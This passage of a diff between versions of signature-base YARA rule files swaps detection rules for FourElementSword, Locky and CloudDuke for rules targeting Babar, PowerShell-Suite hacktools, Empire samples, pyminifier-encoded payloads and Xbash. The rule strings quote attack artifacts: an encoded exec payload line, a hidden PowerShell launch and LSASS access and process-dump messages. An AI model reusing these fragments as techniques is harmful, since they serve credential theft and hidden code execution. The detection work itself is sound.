+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cbdf0c4c5025bc1d95d27a32fa69efb329e8f74243646a31458fea225d21875"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525"
+		hash2 = "05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461"
+		hash3 = "ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d"
 
 	strings:
-		$x1 = "D:\\WORK\\T9000\\" ascii
-		$x2 = "%s\\temp\\HHHH.dat" fullword wide
-		$s1 = "Elevate.dll" fullword wide
-		$s2 = "ResN32.dll" fullword wide
-		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
-		$s4 = "igfxtray.exe" fullword wide
+		$s1 = "Oleaut32.dll" fullword ascii
+		$s2 = "Process32NextA" fullword ascii
+		$s3 = "Process32FirstA" fullword ascii
+		$s4 = "%sRSA key size  : %d bits" fullword ascii
+		$s5 = "emailAddress=" fullword ascii
+		$s6 = "%scert. version : %d" fullword ascii
+		$s7 = "www.naver.com" fullword ascii
+		$x1 = "ztretrtireotreotieroptkierert" fullword ascii
+		$x2 = "reykfgkodfgkfdskgdfogpdokgsdfpg" fullword ascii
+		$x3 = "fjiejffndxklfsdkfjsaadiepwn" fullword ascii
+		$x4 = "fgwljusjpdjah" fullword ascii
+		$x5 = "udbcgiut.dat" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or 6 of ($s*))
 }
-rule SIGNATURE_BASE_Fourelementsword_32DLL : FILE
+rule SIGNATURE_BASE_SNOWGLOBE_Babar_Malware : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fc801364-9f40-50eb-90e1-99f8605014c7"
-		date = "2016-04-18"
+		id = "53a61065-a3b3-563e-8ecc-513d8da68085"
+		date = "2015-02-18"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L51-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
-		logic_hash = "b44870975f126b8603db04b97b748f7a5a75675ffe57037f613c11d6048200b1"
-		score = 75
+		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_snowglobe_babar.yar#L4-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+		logic_hash = "a93425a95efe471b815e2daf0b5e290b3472b722c6a48f8c22f0a6e9c588ffc9"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%temp%\\tmp092.tmp" fullword ascii
-		$s1 = "\\System32\\ctfmon.exe" ascii
-		$s2 = "%SystemRoot%\\System32\\" ascii
-		$s3 = "32.dll" fullword ascii
+		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+		$z2 = "ExecQueryFailled!" fullword ascii
+		$z3 = "NBOT_COMMAND_LINE" fullword
+		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+		$s1 = "/s /n %s \"%s\"" fullword ascii
+		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+		$s3 = "/c start /wait " fullword ascii
+		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" ascii
+		$x2 = "%COMMON_APPDATA%" fullword ascii
+		$x4 = "CONOUT$" fullword ascii
+		$x5 = "cmd.exe" fullword ascii
+		$x6 = "DLLPATH" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <660KB and $x1) or ( all of them )
+		uint16(0)==0x5a4d and filesize <1MB and ((1 of ($z*) and 1 of ($x*)) or (3 of ($s*) and 4 of ($x*)))
 }
-rule SIGNATURE_BASE_Fourelementsword_Keyainst_EXE : FILE
+rule SIGNATURE_BASE_Powershell_Suite_Hacktools_Gen_Strings : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects strings from scripts in the PowerShell-Suite repo"
 		author = "Florian Roth (Nextron Systems)"
-		id = "175fe2b0-3c76-5464-9a1a-218a09b25a5a"
-		date = "2016-04-18"
+		id = "afccdd99-da83-5fde-9e21-52220ded1e47"
+		date = "2017-12-27"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L70-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
-		logic_hash = "1491de3241a81cce4d80d6dc23886f1d8bf316112c48652a8138aa4cbadbb174"
+		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_suite.yar#L2-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f14a0665c60e85c0cf508f46130b09e467a16270fcd1aa8d0319e17778d4d75"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "79071ba5a984ee05903d566130467483c197cbc2537f25c1e3d7ae4772211fe0"
+		hash2 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
+		hash3 = "4f51e7676a4d54c1962760ca0ac81beb28008451511af96652c31f4f40e8eb8e"
+		hash4 = "17ac9bb0c46838c65303f42a4a346fcba838ebd5833b875e81dd65c82701d8a8"
+		hash5 = "fa33aef619e620a88ecccb990e71c1e11ce2445f799979d23be2d1ad4321b6c6"
+		hash6 = "5542bd89005819bc4eef8dfc8a158183e5fd7a1438c84da35102588f5813a225"
+		hash7 = "c6a99faeba098eb411f0a9fcb772abac2af438fc155131ebfc93a00e3dcfad50"
+		hash8 = "a8e06ecf5a8c25619ce85f8a23f2416832cabb5592547609cfea8bd7fcfcc93d"
+		hash9 = "6aa5abf58904d347d441ac8852bd64b2bad3b5b03b518bdd06510931a6564d08"
+		hash10 = "5608f25930f99d78804be8c9c39bd33f4f8d14360dd1e4cc88139aa34c27376d"
+		hash11 = "68b6c0b5479ecede3050a2f44f8bb8783a22beeef4a258c4ff00974f5909b714"
+		hash12 = "da25010a22460bbaabff0f7004204aae7d830348e8a4543177b1f3383b2c3100"
 
 	strings:
-		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
-		$s1 = "ShellExecuteA" fullword ascii
-		$s2 = "GetStartupInfoA" fullword ascii
-		$s3 = "SHELL32.dll" fullword ascii
+		$ = "[!] NtCreateThreadEx failed.." fullword ascii
+		$ = "[?] Executing mmc.." ascii
+		$ = "[!] This method is only supported on 64-bit!" fullword ascii
+		$ = "$LNK = [ShellLink.Shortcut]::FromByteArray($LNKHeader.GetBytes())" fullword ascii
+		$ = "$CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)" fullword ascii
+		$ = "[!] Unable to open process (as Administrator), this may require SYSTEM access." fullword ascii
+		$ = "[!] Error, NTSTATUS Value: " ascii
+		$ = "[!] UAC artifact: " ascii
+		$ = "[>] Process dump success!" ascii
+		$ = "[!] Process dump failed!" ascii
+		$ = "[+] Eidolon entry point:" fullword ascii
+		$ = "Wait for shellcode to run" fullword ascii
+		$ = "$Command = Read-Host \"`nSMB shell\"" fullword ascii
+		$ = "Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines." fullword ascii
+		$ = "Invoke-CreateProcess -Binary C:\\Windows\\System32\\" ascii
+		$ = "[?] Thread belongs to: " ascii
+		$ = "[?] Operating system core count: " ascii
+		$ = "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege" fullword ascii
+		$ = "Calling Advapi32::OpenProcessToken --> LSASS" ascii
+		$ = "[!] Mmm, something went wrong! GetLastError returned:" ascii
+		$ = "if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <48KB and $x1) or ( all of them )
+		filesize <100KB and 1 of them
 }
-rule SIGNATURE_BASE_Fourelementsword_Elevatedll_2 : FILE
+rule SIGNATURE_BASE_Powershell_Suite_Eidolon : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects PowerShell Suite Eidolon script - file Start-Eidolon.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06879d75-18a3-5d49-a963-fa4bee379387"
-		date = "2016-04-18"
+		id = "5440d8fc-b939-556f-a8a0-ef5feb29e32f"
+		date = "2017-12-27"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L89-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
-		logic_hash = "d5fcb2bacfa0a1f78bfbd3fa7ba3084da9a60f1b8b7880c83d8f225312c179b4"
+		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_suite.yar#L48-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "587a9a8569801e2aa96a6f171705fdc1db5632734b54e5a9eb8282502e1efc63"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
 
 	strings:
-		$s1 = "Elevate.dll" fullword ascii
-		$s2 = "GetSomeF" fullword ascii
-		$s3 = "GetNativeSystemInfo" fullword ascii
+		$ = "[+] Eidolon entry point:" ascii
+		$ = "C:\\PS> Start-Eidolon -Target C:\\Some\\File.Path -Mimikatz -Verbose" fullword ascii
+		$ = "[Int16]$PEArch = '0x{0}' -f ((($PayloadBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <25KB and $s1) or ( all of them )
+		uint16(0)==0x7566 and filesize <13000KB and 1 of them
 }
-rule SIGNATURE_BASE_Fourelementsword_Fslapi_Dll_Gui : FILE
+rule SIGNATURE_BASE_MAL_CMD_Script_Obfuscated_Feb19_1 : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects obfuscated batch script using env variable sub-strings"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1cc73eaf-7463-5070-97e5-6ea4c7735371"
-		date = "2016-04-18"
+		id = "8cc99ff5-968c-5b12-9aac-72279c1b8a6b"
+		date = "2019-03-01"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L106-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
-		logic_hash = "909b187f864a240268d0ffcef904b85cd1eaad97dd3a3a808aad58968fbb76c2"
+		reference = "https://twitter.com/DbgShell/status/1101076457189793793"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cmd_script_obfuscated.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71c8831686796c921674ec293b5bdf2c42ae9069b258c85c9e0ca6a7f972daf8"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "deed88c554c8f9bef4078e9f0c85323c645a52052671b94de039b438a8cff382"
 
 	strings:
-		$s1 = "fslapi.dll.gui" fullword wide
-		$s2 = "ImmGetDefaultIMEWnd" fullword ascii
-		$s3 = "RichOX" fullword ascii
+		$h1 = { 40 65 63 68 6F 20 6F 66 66 0D 0A 73 65 74 20 }
+		$s1 = { 2C 31 25 0D 0A 65 63 68 6F 20 25 25 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <12KB and all of them )
+		uint16(0)==0x6540 and filesize <200KB and $h1 at 0 and uint16( filesize -3)==0x0d25 and uint8( filesize -1)==0x0a and $s1 in ( filesize -200.. filesize )
 }
-rule SIGNATURE_BASE_Fourelementsword_Powershell_Start
+rule SIGNATURE_BASE_Gen_Python_Pyminifier_Encoded_Payload : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "62affc03-a408-5d8f-99da-58dead8646c5"
-		date = "2016-04-18"
+		description = "Detects python code encoded by pyminifier. Used by the Machete malware as researched by ESET"
+		author = "John Lambert @JohnLaTwC"
+		id = "d7297e6a-e1c7-57dd-a57f-a3b67face2f3"
+		date = "2019-12-16"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L123-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
-		logic_hash = "7b1986845d97dcd11c8baddb0b49350ad30c6fff98840275befef4ad0b906b54"
+		reference = "https://github.com/liftoff/pyminifier"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_python_pyminifier_encoded_payload.yar#L1-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "01df8765ea35db382d1dd67a502bf1d9647d8fe818ec31abff41c7e41c2816c0"
+		hash = "15d201152a9465497a0f9dd6939e48315b358702c5e2a3c506ad436bb8816da7"
+		hash = "ab91f76394ddf866cc0b315d862a19b57ded93be5dfc2dd0a81e6a43d0c5f301"
+		hash = "b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba"
+		hash = "d5664c70f3543f306f765ea35e22829dbea66aec729e8e11edea9806d0255b7e"
+		hash = "dd2b0e2c2cb8a83574248bda54ce472899b22eb602e8ebecafcce2c4355177fe"
+		hash = "ed76bd136f40a23aeffe0aba02f13b9fea3428c19b715aafa6ea9be91e4006ca"
+		hash = "b454179c13cb4727ae06cc9cd126c3379e2aded5c293af0234ac3312bf9bdad2"
+		logic_hash = "6e744d9404ca476766b217fe808ba6a8cc6cbf09232a69aae6259acd377080a0"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
-		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
+		$s1 = "exec(zlib.decompress(base64.b64decode('eJ"
+		$s2 = "base64" fullword
+		$s3 = "zlib" fullword
 
 	condition:
-		1 of them
+		filesize <20KB and uint32be(0)==0x696d706f and all of them
 }
-rule SIGNATURE_BASE_Fourelementsword_Resn32Dll
+rule SIGNATURE_BASE_Powershell_Emp_Eval_Jul17_A1 : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects suspicious sample with PowerShell content "
 		author = "Florian Roth (Nextron Systems)"
-		id = "3e1f6d8d-53ea-542f-ba49-39b4c86f3124"
-		date = "2016-04-18"
+		id = "1699f153-f972-5e06-a94b-eb95af637e6b"
+		date = "2017-07-27"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L139-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
-		logic_hash = "9658ae3d1267993551cfb939f75f3d78de18cbeb2f524c2576b849103f3cacdc"
-		score = 75
+		reference = "PowerShell Empire Eval"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ps_empire_eval.yar#L11-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e77ff4e216601c62a049569a6ea1aae13fc2612b480f4d7fad4e99dc72155da3"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4d10e80c7c80ef040efc680424a429558c7d76a965685bbc295908cb71137eba"
 
 	strings:
-		$s1 = "\\Release\\BypassUAC.pdb" ascii
-		$s2 = "\\ResN32.dll" wide
-		$s3 = "Eupdate" fullword wide
+		$s1 = "powershell" wide
+		$s2 = "pshcmd" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <30KB and all of them )
 }
-rule SIGNATURE_BASE_Fourelementsword_Elevatedll : FILE
+rule SIGNATURE_BASE_Powershell_Emp_Eval_Jul17_A2 : FILE
 {
 	meta:
-		description = "Detects FourElementSword Malware"
+		description = "Detects suspicious sample with PowerShell content "
 		author = "Florian Roth (Nextron Systems)"
-		id = "06879d75-18a3-5d49-a963-fa4bee379387"
-		date = "2016-04-18"
+		id = "8f299fcd-156c-5ce1-8582-c2a4ff2c0cfc"
+		date = "2017-07-27"
 		modified = "2023-12-05"
-		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_four_element_sword.yar#L158-L179"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d110bae02f00d14c5a71ecf5991e9fc38b29d8056d1e551dc36376875d2e1333"
-		score = 75
+		reference = "PowerShell Empire Eval"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ps_empire_eval.yar#L27-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "28f320e721a61d7e2db39830652038eb4090429d73162888570a97b0bc1504d8"
+		score = 65
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
-		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		hash1 = "e14c139159c23fdc18969afe57ec062e4d3c28dd42a20bed8ddde37ab4351a51"
 
 	strings:
-		$x1 = "Elevate.dll" fullword wide
-		$x2 = "ResN32.dll" fullword wide
-		$s1 = "Kingsoft\\Antivirus" fullword wide
-		$s2 = "KasperskyLab\\protected" fullword wide
-		$s3 = "Sophos" fullword wide
+		$x1 = "\\support\\Release\\ab.pdb" ascii
+		$s2 = "powershell.exe" ascii fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*) and all of ($s*)) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Locky_Ransomware
+rule SIGNATURE_BASE_SUSP_RAR_Single_Doc_File : FILE
 {
 	meta:
-		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
-		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
-		id = "ce61e01e-a9ce-54f4-bd2d-8acf1d5fbc30"
-		date = "2016-02-17"
+		description = "Detects suspicious RAR files that contain nothing but a single .doc file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "92dc3a5d-d12c-56d3-8531-25b3da1e1595"
+		date = "2020-07-11"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/qScSrE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_locky.yar#L8-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
-		logic_hash = "c7584ea39c4aceedeb0ea2952be6ff212461674175855274f1783eef80ffba86"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hunting_susp_rar.yar#L3-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bfc8c60c86e65e041976dac9d15c486ad99da930849bd697c869eec0a2626c38"
+		score = 40
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 }
-		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 }
+		$s1 = ".doc"
 
 	condition:
-		all of ($o*)
+		uint16(0)==0x6152 and filesize <4000KB and $s1 at ( uint16(5)+ uint16( uint16(5)+5)+ uint16( uint16(5)+ uint16( uint16(5)+5)+5)-9) and ( uint16(5)+ uint16( uint16(5)+5)+ uint16( uint16(5)+ uint16( uint16(5)+5)+5)+ uint32( uint16(5)+ uint16( uint16(5)+5)+7)> filesize -8)
 }
-rule SIGNATURE_BASE_Cloudduke_Malware : FILE
+rule SIGNATURE_BASE_MAL_Xbash_PY_Sep18 : FILE
 {
 	meta:
-		description = "Detects CloudDuke Malware"
+		description = "Detects Xbash malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "902ef68b-7ed1-5622-b796-4e3bb2388124"
-		date = "2015-07-22"
+		id = "97512fe8-002f-5cbc-a915-d55c087fbef7"
+		date = "2018-09-18"
 		modified = "2023-12-05"
-		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cloudduke.yar#L10-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eaa159a99b6518db736adfd555bfcd052c2ae21b2e60a1db80b90459c47c90ab"
-		score = 60
+		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_xbash.yar#L13-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d686c42e6bf440507735f846463f2df5fbf4f7bd5f5656883655a5278a1fc252"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
-		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
-		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
-		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
-		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
-		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
-		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+		hash1 = "7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa"
 
 	strings:
-		$s1 = "ProcDataWrap" fullword ascii
-		$s2 = "imagehlp.dll" fullword ascii
-		$s3 = "dnlibsh" fullword ascii
-		$s4 = "%ws_out%ws" fullword wide
-		$s5 = "Akernel32.dll" fullword wide
-		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
-		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
-		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }
+		$s1 = { 73 58 62 61 73 68 00 00 00 00 00 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <720KB and 4 of ($s*) and 1 of ($op*)
+		uint16(0)==0x457f and filesize <10000KB and 1 of them
 }
-rule SIGNATURE_BASE_SFXRAR_Acrotray : FILE
+rule SIGNATURE_BASE_MAL_Xbash_SH_Sep18 : FILE
 {
 	meta:
-		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
+		description = "Detects Xbash malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1566fb75-d3a8-5e22-b05b-3a2f37374f31"
-		date = "2015-07-22"
-		modified = "2023-12-05"
-		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cloudduke.yar#L42-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b318ab2854eb7614dd1a42d3971a96d1d485d5cce552336ad3a7f39886ba710"
-		score = 70
+		id = "450ef15f-fe9c-5809-9077-457a43326bfe"
+		date = "2018-09-18"
+		modified = "2023-01-06"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_xbash.yar#L27-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b48cbd64002025d861e2fd381be5a68efd7f6fc5fd239850c940f887e2b01673"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
-		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
-		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
+		hash1 = "a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af"
+		hash2 = "de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d"
 
 	strings:
-		$s1 = "winrarsfxmappingfile.tmp" fullword wide
-		$s2 = "GETPASSWORD1" fullword wide
-		$s3 = "acrotray.exe" fullword ascii
